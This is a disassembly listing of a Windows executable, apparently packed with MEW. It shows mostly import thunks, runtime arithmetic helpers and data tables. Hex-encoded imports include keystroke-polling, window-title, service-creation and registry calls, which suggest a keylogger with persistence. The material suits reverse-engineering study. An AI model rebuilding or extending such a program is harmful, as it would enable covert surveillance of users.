sub_40AB88	proc near		; CODE XREF: MEW:00406EF7p
					; MEW:00406F2Ep
		jmp	dword_4011A4
sub_40AB88	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40AB8E	proc near		; CODE XREF: sub_404530+A04p
					; sub_404530+A37p
		jmp	dword_401138
sub_40AB8E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40AB94	proc near		; CODE XREF: sub_404530+6AEp
					; sub_404530+9B3p ...
		jmp	dword_40113C
sub_40AB94	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40AB9A	proc near		; CODE XREF: sub_404530+689p
					; sub_404530+692p ...
		jmp	dword_401140
sub_40AB9A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40ABA0	proc near		; CODE XREF: sub_404530+673p
					; sub_4055A6+6Ap ...
		jmp	dword_401144
sub_40ABA0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40ABA6	proc near		; CODE XREF: sub_404530+659p
		jmp	dword_401148
sub_40ABA6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40ABAC	proc near		; CODE XREF: sub_404530+5F4p
					; sub_404530+6EDp ...
		jmp	dword_40114C
sub_40ABAC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40ABB2	proc near		; CODE XREF: sub_404530+7Bp
					; sub_404530+A0p ...
		jmp	dword_401150
sub_40ABB2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40ABB8	proc near		; CODE XREF: sub_404530+3Ap
					; sub_404530+59p ...
		jmp	dword_401154
sub_40ABB8	endp

; ---------------------------------------------------------------------------
		align 10h


loc_40ABC0:				; DATA XREF: sub_404530+Ao
					; sub_405185+Ao ...
		jmp	dword_401158

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40ABC6	proc near		; CODE XREF: sub_404530+471p
					; sub_404530+477p ...
		jmp	dword_40115C
sub_40ABC6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40ABCC	proc near		; CODE XREF: sub_405185+5Fp
		jmp	dword_401160
sub_40ABCC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40ABD2	proc near		; CODE XREF: sub_405185+37p
					; sub_405185+A5p ...
		jmp	dword_401164
sub_40ABD2	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_40ABE0	proc near		; CODE XREF: sub_405185+24p
					; sub_4055A6+3Cp ...

arg_0		= byte ptr  4

		push	ecx
		cmp	eax, 1000h
		lea	ecx, [esp+4+arg_0]
		jb	short loc_40AC00


loc_40ABEC:				; CODE XREF: sub_40ABE0+1Ej
		sub	ecx, 1000h
		sub	eax, 1000h
		test	[ecx], eax
		cmp	eax, 1000h
		jnb	short loc_40ABEC


loc_40AC00:				; CODE XREF: sub_40ABE0+Aj
		sub	ecx, eax
		mov	eax, esp
		test	[ecx], eax
		mov	esp, ecx
		mov	ecx, [eax]
		mov	eax, [eax+4]
		push	eax
		retn
sub_40ABE0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40AC10	proc near		; CODE XREF: sub_4052A5+EEp
					; sub_4055A6+456p ...
		jmp	dword_401168
sub_40AC10	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40AC16	proc near		; CODE XREF: sub_405421+37p
					; sub_40549A+AAp ...
		jmp	dword_40116C
sub_40AC16	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40AC1C	proc near		; CODE XREF: sub_40549A+50p
					; sub_40A45C+4Fp
		jmp	dword_401170
sub_40AC1C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40AC22	proc near		; CODE XREF: sub_40549A+33p
					; sub_407282+C5p ...
		jmp	dword_401174
sub_40AC22	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40AC28	proc near		; CODE XREF: sub_4055A6+4B2p
					; sub_4055A6+4EBp ...
		jmp	dword_401178
sub_40AC28	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40AC2E	proc near		; CODE XREF: sub_405DB7+13Bp
					; sub_405DB7+14Ep ...
		jmp	dword_40117C
sub_40AC2E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40AC34	proc near		; CODE XREF: sub_407125+Ep
					; sub_407125+18p ...
		jmp	dword_401180
sub_40AC34	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40AC3A	proc near		; CODE XREF: sub_407125+8p
					; sub_40758E+1Ap ...
		jmp	dword_401184
sub_40AC3A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40AC40	proc near		; CODE XREF: sub_407282+29Cp
					; sub_40AF35+10p ...
		jmp	dword_401188
sub_40AC40	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40AC46	proc near		; CODE XREF: sub_407708+146p
					; sub_407E7D:loc_407F22p ...
		jmp	dword_40118C
sub_40AC46	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40AC4C	proc near		; CODE XREF: sub_407708+B4p
					; sub_407708+E4p ...
		jmp	dword_401190
sub_40AC4C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40AC52	proc near		; CODE XREF: sub_407708+86p
					; sub_407BC9+5Dp ...
		jmp	dword_401194
sub_40AC52	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40AC58	proc near		; CODE XREF: sub_407BC9+132p
					; sub_407BC9+1E3p
		jmp	dword_401198
sub_40AC58	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40AC5E	proc near		; CODE XREF: sub_407F46+497p
		jmp	dword_401134
sub_40AC5E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40AC64	proc near		; CODE XREF: sub_407F46+2A8p
					; sub_407F46+441p
		jmp	dword_401130
sub_40AC64	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40AC6A	proc near		; CODE XREF: sub_40862D+23p
		jmp	dword_40112C
sub_40AC6A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40AC70	proc near		; CODE XREF: sub_40862D+11p
					; sub_4086A6+B9p
		jmp	dword_401128
sub_40AC70	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40AC76	proc near		; CODE XREF: sub_4086A6+FDp
					; sub_4086A6+122p
		jmp	dword_401124
sub_40AC76	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40AC7C	proc near		; CODE XREF: sub_4086A6+3Cp
		jmp	dword_401120
sub_40AC7C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40AC82	proc near		; CODE XREF: sub_4098E2+358p
					; sub_40A77F+66p
		jmp	dword_40111C
sub_40AC82	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_40AC90	proc near		; CODE XREF: sub_409C9D+4Dp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		mov	eax, [esp+4+arg_C]
		or	eax, eax
		jnz	short loc_40ACB1
		mov	ecx, [esp+4+arg_8]
		mov	eax, [esp+4+arg_4]
		xor	edx, edx
		div	ecx
		mov	eax, [esp+4+arg_0]
		div	ecx
		mov	eax, edx
		xor	edx, edx
		jmp	short loc_40AD01
; ---------------------------------------------------------------------------


loc_40ACB1:				; CODE XREF: sub_40AC90+7j
		mov	ecx, eax
		mov	ebx, [esp+4+arg_8]
		mov	edx, [esp+4+arg_4]
		mov	eax, [esp+4+arg_0]


loc_40ACBF:				; CODE XREF: sub_40AC90+39j
		shr	ecx, 1
		rcr	ebx, 1
		shr	edx, 1
		rcr	eax, 1
		or	ecx, ecx
		jnz	short loc_40ACBF
		div	ebx
		mov	ecx, eax
		mul	[esp+4+arg_C]
		xchg	eax, ecx
		mul	[esp+4+arg_8]
		add	edx, ecx
		jb	short loc_40ACEA
		cmp	edx, [esp+4+arg_4]
		ja	short loc_40ACEA
		jb	short loc_40ACF2
		cmp	eax, [esp+4+arg_0]
		jbe	short loc_40ACF2


loc_40ACEA:				; CODE XREF: sub_40AC90+4Aj
					; sub_40AC90+50j
		sub	eax, [esp+4+arg_8]
		sbb	edx, [esp+4+arg_C]


loc_40ACF2:				; CODE XREF: sub_40AC90+52j
					; sub_40AC90+58j
		sub	eax, [esp+4+arg_0]
		sbb	edx, [esp+4+arg_4]
		neg	edx
		neg	eax
		sbb	edx, 0


loc_40AD01:				; CODE XREF: sub_40AC90+1Fj
		pop	ebx
		retn	10h
sub_40AC90	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_40AD10	proc near		; CODE XREF: sub_409C9D+29p
					; sub_409C9D+33p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		push	esi
		mov	eax, [esp+8+arg_C]
		or	eax, eax
		jnz	short loc_40AD32
		mov	ecx, [esp+8+arg_8]
		mov	eax, [esp+8+arg_4]
		xor	edx, edx
		div	ecx
		mov	ebx, eax
		mov	eax, [esp+8+arg_0]
		div	ecx
		mov	edx, ebx
		jmp	short loc_40AD73
; ---------------------------------------------------------------------------


loc_40AD32:				; CODE XREF: sub_40AD10+8j
		mov	ecx, eax
		mov	ebx, [esp+8+arg_8]
		mov	edx, [esp+8+arg_4]
		mov	eax, [esp+8+arg_0]


loc_40AD40:				; CODE XREF: sub_40AD10+3Aj
		shr	ecx, 1
		rcr	ebx, 1
		shr	edx, 1
		rcr	eax, 1
		or	ecx, ecx
		jnz	short loc_40AD40
		div	ebx
		mov	esi, eax
		mul	[esp+8+arg_C]
		mov	ecx, eax
		mov	eax, [esp+8+arg_8]
		mul	esi
		add	edx, ecx
		jb	short loc_40AD6E
		cmp	edx, [esp+8+arg_4]
		ja	short loc_40AD6E
		jb	short loc_40AD6F
		cmp	eax, [esp+8+arg_0]
		jbe	short loc_40AD6F


loc_40AD6E:				; CODE XREF: sub_40AD10+4Ej
					; sub_40AD10+54j
		dec	esi


loc_40AD6F:				; CODE XREF: sub_40AD10+56j
					; sub_40AD10+5Cj
		xor	edx, edx
		mov	eax, esi


loc_40AD73:				; CODE XREF: sub_40AD10+20j
		pop	esi
		pop	ebx
		retn	10h
sub_40AD10	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40AD78	proc near		; CODE XREF: sub_409D65+E9p
					; sub_40A8E0+50p
		jmp	dword_401118
sub_40AD78	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40AD7E	proc near		; CODE XREF: sub_409D65+56p
		jmp	dword_401114
sub_40AD7E	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_40AD90	proc near		; CODE XREF: sub_409D65+43p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	edi
		push	esi
		push	ebx
		xor	edi, edi
		mov	eax, [esp+0Ch+arg_4]
		or	eax, eax
		jge	short loc_40ADB1
		inc	edi
		mov	edx, [esp+0Ch+arg_0]
		neg	eax
		neg	edx
		sbb	eax, 0
		mov	[esp+0Ch+arg_4], eax
		mov	[esp+0Ch+arg_0], edx


loc_40ADB1:				; CODE XREF: sub_40AD90+Bj
		mov	eax, [esp+0Ch+arg_C]
		or	eax, eax
		jge	short loc_40ADCD
		inc	edi
		mov	edx, [esp+0Ch+arg_8]
		neg	eax
		neg	edx
		sbb	eax, 0
		mov	[esp+0Ch+arg_C], eax
		mov	[esp+0Ch+arg_8], edx


loc_40ADCD:				; CODE XREF: sub_40AD90+27j
		or	eax, eax
		jnz	short loc_40ADE9
		mov	ecx, [esp+0Ch+arg_8]
		mov	eax, [esp+0Ch+arg_4]
		xor	edx, edx
		div	ecx
		mov	ebx, eax
		mov	eax, [esp+0Ch+arg_0]
		div	ecx
		mov	edx, ebx
		jmp	short loc_40AE2A
; ---------------------------------------------------------------------------


loc_40ADE9:				; CODE XREF: sub_40AD90+3Fj
		mov	ebx, eax
		mov	ecx, [esp+0Ch+arg_8]
		mov	edx, [esp+0Ch+arg_4]
		mov	eax, [esp+0Ch+arg_0]


loc_40ADF7:				; CODE XREF: sub_40AD90+71j
		shr	ebx, 1
		rcr	ecx, 1
		shr	edx, 1
		rcr	eax, 1
		or	ebx, ebx
		jnz	short loc_40ADF7
		div	ecx
		mov	esi, eax
		mul	[esp+0Ch+arg_C]
		mov	ecx, eax
		mov	eax, [esp+0Ch+arg_8]
		mul	esi
		add	edx, ecx
		jb	short loc_40AE25
		cmp	edx, [esp+0Ch+arg_4]
		ja	short loc_40AE25
		jb	short loc_40AE26
		cmp	eax, [esp+0Ch+arg_0]
		jbe	short loc_40AE26


loc_40AE25:				; CODE XREF: sub_40AD90+85j
					; sub_40AD90+8Bj
		dec	esi


loc_40AE26:				; CODE XREF: sub_40AD90+8Dj
					; sub_40AD90+93j
		xor	edx, edx
		mov	eax, esi


loc_40AE2A:				; CODE XREF: sub_40AD90+57j
		dec	edi
		jnz	short loc_40AE34
		neg	edx
		neg	eax
		sbb	edx, 0


loc_40AE34:				; CODE XREF: sub_40AD90+9Bj
		pop	ebx
		pop	esi
		pop	edi
		retn	10h
sub_40AD90	endp

; ---------------------------------------------------------------------------


loc_40AE3A:				; CODE XREF: MEW:0040AFF9j
		jmp	dword_401110

; =============== S U B	R O U T	I N E =======================================



sub_40AE40	proc near		; CODE XREF: MEW:00409FA6p
		push	0FFFFFFFFh
		push	eax
		mov	eax, large fs:0
		push	eax
		mov	eax, [esp+0Ch]
		mov	large fs:0, esp
		mov	[esp+0Ch], ebp
		lea	ebp, [esp+0Ch]
		push	eax
		retn
sub_40AE40	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40AE60	proc near		; CODE XREF: sub_40A9CA+1Dp
		jmp	dword_40110C
sub_40AE60	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40AE66	proc near		; CODE XREF: sub_407F46+133p
		jmp	dword_401204
sub_40AE66	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_40AE70	proc near		; CODE XREF: MEW:0040A016p
					; MEW:0040A044p ...

arg_0		= dword	ptr  4

		push	0
		push	[esp+4+arg_0]
		call	sub_40AEDF
		retn	4
sub_40AE70	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40AE7E	proc near		; CODE XREF: MEW:0040A035p
					; MEW:0040A0B7p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_4]
		and	[ebp+var_4], 0
		test	eax, eax
		jz	short loc_40AED0
		mov	ecx, [eax]
		lea	edx, [ebp+arg_4]
		push	edx
		push	offset dword_404370
		push	eax
		call	dword ptr [ecx]
		test	eax, eax
		jl	short loc_40AED0
		mov	eax, [ebp+arg_4]
		push	esi
		push	[ebp+arg_8]
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+0Ch]
		mov	esi, eax
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [eax]
		call	dword ptr [ecx+8]
		test	esi, esi
		pop	esi
		jnz	short loc_40AED0
		lea	eax, [ebp+var_4]
		push	eax
		push	0
		call	dword_4011C0
		test	eax, eax
		jz	short loc_40AED0
		and	[ebp+var_4], 0


loc_40AED0:				; CODE XREF: sub_40AE7E+Dj
					; sub_40AE7E+1Fj ...
		push	[ebp+var_4]
		push	[ebp+arg_0]
		call	sub_40AEDF
		leave
		retn	0Ch
sub_40AE7E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40AEDF	proc near		; CODE XREF: sub_40AE70+6p
					; sub_40AE7E+58p

var_10		= byte ptr -10h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	0
		lea	ecx, [ebp+var_10]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40AF03
		lea	eax, [ebp+var_10]
		push	offset dword_40B068
		push	eax
		call	sub_40AFC6
sub_40AEDF	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_40AF03	proc near		; CODE XREF: sub_40AEDF+11p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= byte ptr  0Ch

		mov	eax, [esp+arg_0]
		push	esi
		mov	esi, ecx
		and	dword ptr [esi+0Ch], 0
		mov	[esi+4], eax
		mov	eax, [esp+4+arg_4]
		mov	dword ptr [esi], offset	off_404494
		test	eax, eax
		mov	[esi+8], eax
		jz	short loc_40AF2F
		cmp	[esp+4+arg_8], 0
		jz	short loc_40AF2F
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+4]


loc_40AF2F:				; CODE XREF: sub_40AF03+1Dj
					; sub_40AF03+24j
		mov	eax, esi
		pop	esi
		retn	0Ch
sub_40AF03	endp


; =============== S U B	R O U T	I N E =======================================



sub_40AF35	proc near		; DATA XREF: MEW:off_404494o

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_40AF7E
		test	[esp+4+arg_0], 1
		jz	short loc_40AF4B
		push	esi
		call	sub_40AC40
		pop	ecx


loc_40AF4B:				; CODE XREF: sub_40AF35+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_40AF35	endp

; ---------------------------------------------------------------------------
		mov	eax, [esp+4]
		push	esi
		mov	esi, ecx
		mov	ecx, [eax+4]
		mov	[esi+4], ecx
		mov	eax, [eax+8]
		and	dword ptr [esi+0Ch], 0
		mov	[esi+8], eax
		test	eax, eax
		mov	dword ptr [esi], offset	off_404494
		jz	short loc_40AF78
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+4]


loc_40AF78:				; CODE XREF: MEW:0040AF70j
		mov	eax, esi
		pop	esi
		retn	4

; =============== S U B	R O U T	I N E =======================================



sub_40AF7E	proc near		; CODE XREF: sub_40AF35+3p
					; DATA XREF: MEW:0040B06Co
		push	esi
		mov	esi, ecx
		mov	eax, [esi+8]
		mov	dword ptr [esi], offset	off_404494
		test	eax, eax
		jz	short loc_40AF94
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]


loc_40AF94:				; CODE XREF: sub_40AF7E+Ej
		mov	esi, [esi+0Ch]
		test	esi, esi
		jz	short loc_40AFA2
		push	esi
		call	dword_4010C0	; LocalFree


loc_40AFA2:				; CODE XREF: sub_40AF7E+1Bj
		pop	esi
		retn
sub_40AF7E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40AFA4	proc near		; CODE XREF: sub_404530+1CEp
					; sub_404530+38Cp ...
		jmp	dword_401104
sub_40AFA4	endp


; =============== S U B	R O U T	I N E =======================================



sub_40AFAA	proc near		; DATA XREF: MEW:off_40449Co

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_40AFCC
		test	[esp+4+arg_0], 1
		jz	short loc_40AFC0
		push	esi
		call	sub_40AC40
		pop	ecx


loc_40AFC0:				; CODE XREF: sub_40AFAA+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_40AFAA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40AFC6	proc near		; CODE XREF: sub_40AEDF+1Fp
		jmp	dword_401108
sub_40AFC6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40AFCC	proc near		; CODE XREF: sub_40AFAA+3p
		jmp	dword_40119C
sub_40AFCC	endp

; ---------------------------------------------------------------------------
		align 4
		lea	ecx, [ebp-10h]
		jmp	loc_40A44F
; ---------------------------------------------------------------------------


loc_40AFDC:				; DATA XREF: MEW:0040B02Co
		lea	ecx, [ebp-24h]
		jmp	loc_40A44F
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-1Ch]
		jmp	loc_40A44F
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-20h]
		jmp	loc_40A44F
; ---------------------------------------------------------------------------


loc_40AFF4:				; DATA XREF: MEW:loc_409FA1o
		mov	eax, offset dword_40B000
		jmp	loc_40AE3A
; ---------------------------------------------------------------------------
		align 10h
dword_40B000	dd 19930520h, 4, 40B020h, 5 dup(0)		dd 0FFFFFFFFh, 40AFD4h,	0
		dd offset loc_40AFDC
		dd 1, 40AFE4h, 2, 40AFECh, 0
		dd offset dword_404370+10h
		dd 0
		dd 0FFFFFFFFh, 0
		dd 10h,	40AF51h, 0
dword_40B060	dd 1, 40B040h	dword_40B068	dd 0				dd offset sub_40AF7E
		dd 0
		dd offset dword_40B060
byte_40B078	db 0			; DATA XREF: MEW:off_401BA0o
					; MEW:00406EC3r ...
		align 10h
dword_40B080	dd 6 dup(0)						; sub_407282+2AFo
dword_40B098	dd 0							; sub_407E2D+3Cr ...
dword_40B09C	dd 0							; sub_4086A6+EEr ...
dword_40B0A0	dd 0							; sub_408C2B:loc_408C51o ...
dword_40B0A4	dd 0							; sub_408C7B+1Bw ...
dword_40B0A8	dd 0							; sub_408C7B+77w ...
dword_40B0AC	dd 0		dword_40B0B0	dd 0		dword_40B0B4	dd 0		dword_40B0B8	dd 0		dword_40B0BC	dd 0							; sub_408C2B+35r ...
dword_40B0C0	dd 0							; sub_408C7B+85w ...
		align 8
dword_40B0C8	dd 0							; sub_404530+95Dr ...
		align 10h
word_40B0D0	dw 0			; DATA XREF: sub_404530+15Er
					; MEW:00407013r ...
byte_40B0D2	db 0			; DATA XREF: sub_408C7B+96r
					; sub_40933F+2Cw ...
		align 8
dword_40B0D8	dd 0							; sub_40A45C+DCw ...
dword_40B0DC	dd 0							; sub_40A45C+6Fw ...
dword_40B0E0	dd 0							; sub_40785E+41r ...
dword_40B0E4	dd 0							; sub_40785E+ACr ...
dword_40B0E8	dd 0							; sub_40A56C+53w ...
dword_40B0EC	dd 0							; sub_40A56C+4Dw
dword_40B0F0	dd 0		dword_40B0F4	dd 53h dup(0)	byte_40B240	db 0			; DATA XREF: sub_404530+236r
					; sub_404530+252w ...
		align 4
dword_40B244	dd 0							; sub_404530+166r ...
byte_40B248	db 0			; DATA XREF: sub_404530+93Fw
					; sub_407207:loc_407233r ...
		align 2
word_40B24A	dw 0			; DATA XREF: sub_404530+AB0r
					; sub_405DB7+48r ...
		align 10h
dword_40B250	dd 0							; sub_404530+7A9o
word_40B254	dw 0			; DATA XREF: sub_404530+5CEw
					; sub_404530:loc_404B0Ar ...
		align 4
dword_40B258	dd 0							; sub_404530+600w
dword_40B25C	dd 0		dword_40B260	dd 0		dword_40B264	dd 0							; sub_404530:loc_404C85w ...
dword_40B268	dd 0							; sub_404530+731w
byte_40B26C	db 0			; DATA XREF: sub_404530+77Bw
					; sub_404530+79Bw
		align 10h
dword_40B270	dd 0							; sub_407F46+525w ...
byte_40B274	db 0			; DATA XREF: sub_404530+31Aw
					; sub_405185+D5r ...
		align 4
dword_40B278	dd 0							; sub_4055A6+1DEr ...
dword_40B27C	dd 0							; sub_405185+8Fw ...
dword_40B280	dd 0							; sub_405185+94r ...
dword_40B284	dd 23h dup(0)	dword_40B310	dd 41h dup(0)	dword_40B414	dd 52Ah	dup(0)			dd offset dword_401044
		dd 4E52454Bh, 32334C45h, 6C6C642Eh, 65478000h, 73614C74h
		dd 72724574h, 8000726Fh, 61657243h, 754D6574h, 41786574h
		dd 65538000h, 6C694674h, 6D695465h, 47800065h, 69467465h
		dd 6954656Ch, 8000656Dh, 61657243h, 69466574h, 41656Ch
		dd 61655380h, 50686372h, 41687461h, 78458000h, 646E6170h
		dd 69766E45h, 6D6E6F72h, 53746E65h, 6E697274h, 417367h
		dd 74655380h, 656C6946h, 72747441h, 74756269h, 417365h
		dd 74654780h, 656C6946h, 72747441h, 74756269h, 417365h
		dd 69725780h, 69466574h, 8000656Ch, 54746547h, 50706D65h
		dd 41687461h, 65528000h, 7361656Ch, 74754D65h, 80007865h
		dd 6E65704Fh, 6574754Dh, 80004178h, 79706F43h, 656C6946h
		dd 6C800041h, 63727473h, 417461h, 65724380h, 45657461h
		dd 746E6576h, 53800041h, 72457465h, 4D726F72h, 65646Fh
		dd 65724680h, 62694C65h, 79726172h, 65478000h, 6F725074h
		dd 64644163h, 73736572h, 6F4C8000h, 694C6461h, 72617262h
		dd 80004179h, 72657551h, 72655079h, 6D726F66h, 65636E61h
		dd 71657246h, 636E6575h, 51800079h, 79726575h, 66726550h
		dd 616D726Fh, 4365636Eh, 746E756Fh, 80007265h, 56746547h
		dd 69737265h, 78456E6Fh, 47800041h, 61626F6Ch, 6D654D6Ch
		dd 5379726Fh, 75746174h, 6C800073h, 63727473h, 417970h
		dd 74736C80h, 79706372h, 8000416Eh, 7274736Ch, 41706D63h
		dd 65538000h, 72685474h, 50646165h, 726F6972h, 797469h
		dd 65724380h, 50657461h, 65636F72h, 417373h, 69615780h
		dd 726F4674h, 676E6953h, 624F656Ch, 7463656Ah, 6C438000h
		dd 4865736Fh, 6C646E61h, 4C800065h, 6C61636Fh, 65657246h
		dd 65538000h, 65764574h, 8000746Eh, 4D746547h, 6C75646Fh
		dd 6E614865h, 41656C64h, 736C8000h, 656C7274h, 8000416Eh
		dd 4D746547h, 6C75646Fh, 6C694665h, 6D614E65h, 80004165h
		dd 61657243h, 68546574h, 64616572h, 65448000h, 6574656Ch
		dd 74697243h, 6C616369h, 74636553h, 6E6F69h, 696E4980h
		dd 6C616974h, 43657A69h, 69746972h, 536C6163h, 69746365h
		dd 6E416E6Fh, 69705364h, 756F436Eh, 8000746Eh, 65746E45h
		dd 69724372h, 61636974h, 6365536Ch, 6E6F6974h, 65548000h
		dd 6E696D72h, 54657461h, 61657268h, 4C800064h, 65766165h
		dd 74697243h, 6C616369h, 74636553h, 6E6F69h, 69784580h
		dd 72685474h, 646165h, 69784580h, 6F725074h, 73736563h
		dd 6C538000h, 706565h, 74654780h, 74737953h, 69446D65h
		dd 74636572h, 4179726Fh, 65478000h, 63695474h, 756F436Bh
		dd 0FF00746Eh, 0D0FFFFFFh, 55004011h, 33524553h, 6C642E32h
		dd 4780006Ch, 69577465h, 776F646Eh, 74786554h, 47800041h
		dd 6F467465h, 72676572h, 646E756Fh, 646E6957h, 8000776Fh
		dd 41746547h, 636E7973h, 5379654Bh, 65746174h, 73778000h
		dd 6E697270h, 416674h, 74654780h, 5379654Bh, 65746174h
		dd 0FFFFFF00h, 401000FFh, 56444100h, 33495041h,	6C642E32h
		dd 4380006Ch, 74616572h, 72655365h, 65636976h, 43800041h
		dd 676E6168h, 72655365h, 65636976h, 666E6F43h, 41326769h
		dd 74538000h, 53747261h, 69767265h, 416563h, 67655280h
		dd 61657243h, 654B6574h, 41784579h, 65528000h, 65704F67h
		dd 79654B6Eh, 417845h, 67655280h, 56746553h, 65756C61h
		dd 417845h, 67655280h, 736F6C43h, 79654B65h, 704F8000h
		dd 43536E65h, 616E614Dh, 41726567h, 704F8000h, 65536E65h
		dd 63697672h, 80004165h, 736F6C43h, 72655365h, 65636976h
		dd 646E6148h, 8000656Ch, 69676552h, 72657473h, 76726553h
		dd 43656369h, 486C7274h, 6C646E61h, 417265h, 61745380h
		dd 65537472h, 63697672h, 72744365h, 7369446Ch, 63746170h
		dd 41726568h, 65448000h, 6574656Ch, 76726553h, 656369h
		dd 6E6F4380h, 6C6F7274h, 76726553h, 656369h, 67655280h
		dd 6D756E45h, 4579654Bh, 80004178h, 53746553h, 69767265h
		dd 74536563h, 73757461h, 0FFFFFF00h, 4011C8FFh,	45485300h
		dd 32334C4Ch, 6C6C642Eh, 68538000h, 456C6C65h, 75636578h
		dd 416574h, 0FFFFFFFFh,	4011A4h, 4342444Fh, 642E3233h
		dd 6C6Ch, 170000h, 4A0000h, 280000h, 20000h, 0A0000h, 0FF1E0000h
		dd 4FFFFFFh, 4D004011h,	52435653h, 6C642E54h, 5F80006Ch
		dd 63727473h, 69706Dh, 78435F80h, 72685478h, 7845776Fh
		dd 74706563h, 6E6F69h, 6D656D80h, 706D63h, 435F5F80h, 72467878h
		dd 48656D61h, 6C646E61h, 80007265h, 6C696563h, 735F8000h
		dd 6972706Eh, 66746Eh, 72747380h, 746163h, 72747380h, 72686372h
		dd 77668000h, 65746972h, 735F8000h, 696E7274h, 706D63h
		dd 72747380h, 726863h, 63737380h, 666E61h, 72747380h, 6C756F74h
		dd 74738000h, 61636E72h, 73800074h, 6E697270h, 80006674h
		dd 73727473h, 80007274h, 63727473h, 80007970h, 40323F3Fh
		dd 41504159h, 5A404958h, 74618000h, 8000696Fh, 63727473h
		dd 8000706Dh, 74727473h, 80006B6Fh, 6378655Fh, 5F747065h
		dd 646E6168h, 3372656Ch, 665F8000h, 6C6F74h, 70737680h
		dd 746E6972h, 73800066h, 656C7274h, 6D80006Eh, 65736D65h
		dd 66800074h, 656572h, 61657280h, 636F6C6Ch, 616D8000h
		dd 636F6C6Ch, 74738000h, 70636E72h, 6D800079h, 70636D65h
		dd 72800079h, 646E61h, 61727380h, 8000646Eh, 40333F3Fh
		dd 50584159h, 5A405841h, 63668000h, 65736F6Ch, 72668000h
		dd 646165h, 706F6680h, 80006E65h, 65657366h, 3F80006Bh
		dd 7974313Fh, 695F6570h, 406F666Eh, 45415540h, 5A5840h
